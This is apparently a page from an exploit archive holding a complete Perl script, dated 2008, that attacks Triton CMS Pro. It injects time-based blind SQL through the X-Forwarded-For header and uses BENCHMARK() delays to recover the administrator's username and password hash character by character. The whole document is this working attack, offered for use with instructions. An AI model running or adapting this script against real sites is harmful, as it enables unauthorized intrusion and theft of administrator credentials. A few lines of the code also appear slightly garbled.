Home / exploits

PDF

tritoncms-sql.txt

Posted on 10 July 2008

#!/usr/bin/perl -w
#Triton CMS Pro (X-Forwarded-For) Blind SQL Injection
#Admin's username/hash disclosure exploit
#Benchmark() method, so take a coffee and relax
#Coded by __GiReX__

use LWP::UserAgent;
use HTTP::Request;

if(not defined $ARGV[0])
{
print "
Usage: perl $0 [host] [path] [1/2]
";
print "Example: perl $0 localhost /tcms/
";
exit;
}

my $host  = ($ARGV[0] =~ /^http:///) ?  $ARGV[0]:  'http://' . $ARGV[0];
$host .=  $ARGV[1] unless not defined $ARGV[1];

my $client =  new LWP::UserAgent;
my $get    =  new HTTP::Request('GET', $host);
my @cset   =  (97..122, 0);               # Only  a-z  charset for username exploit if need change it
my @cset2  =  (48..57, 97..102);
my $prefix =  "tc_";

my ($i, $j) = (0, 1);
my ($user, $hash) = (undef, undef);

banner();

while($i != $#cset)
{
for($i = 0; $i <= $#cset; $i++)
{
my ($pre_time, $post_time) = time();

info(chr($cset[$i]), "Username", $user);
$rv = check_char($cset[$i], $j, "username");
$post_time = time();

if($post_time - $pre_time > 3 and $rv)
{
$user .= chr($cset[$i]);
last;
}
}

$j++;
}

if(not defined $user)
{
print STDOUT "

[-] Exploit mistake: please check the benchmark and expected time

";
exit;
}
else
{
print STDOUT "
[+] Admin Hashed Pass: 
";
}

for($j = 0; $j <= 32; $j++)
{
for($i = 0; $i <= $#cset2; $i++)
{
$pre_time = time();

info(chr($cset2[$i]), "Hashed Pass", $hash);
$rv = check_char($cset2[$i], $j, "password");
$post_time = time();

if($post_time - $pre_time > 3 and $rv)
{
$hash .= chr($cset2[$i]);
last;
}
}
}

if(not defined $hash or length($hash) != 32)
{
print STDOUT "

[-] Exploit mistake: please check the benchmark expected time

";
}
else
{
print STDOUT "

[+] Exploit terminated

";
}


sub banner
{
print "
";
print "[+] Triton CMS Pro (X-Forwarded-For) Blind SQL Injection
";
print "[+] Admin's username/hash disclosure exploit
";
print "[+] Coded by __GiReX__
";
print "
";
}

sub info
{
my($c, $str, $cur)  =  @_;

$cur = '' unless defined $cur;
print  STDOUT "[+] Admin ${str}: ${cur}${c}
";

$| = 1;
}

sub check_char
{
my ($char, $n, $field)  =  @_ ;

$get->header('X-Forwarded-For' =>  "-1' AND ".
"CASE WHEN (SELECT ASCII(SUBSTRING(${field}, ${n}, 1)) ".
"FROM ${prefix}members WHERE id=1)=${char} ".
"THEN benchmark(99000000, CHAR(0)) END#");

$res = $client->request($get);

return $res->is_success;
}

 

TOP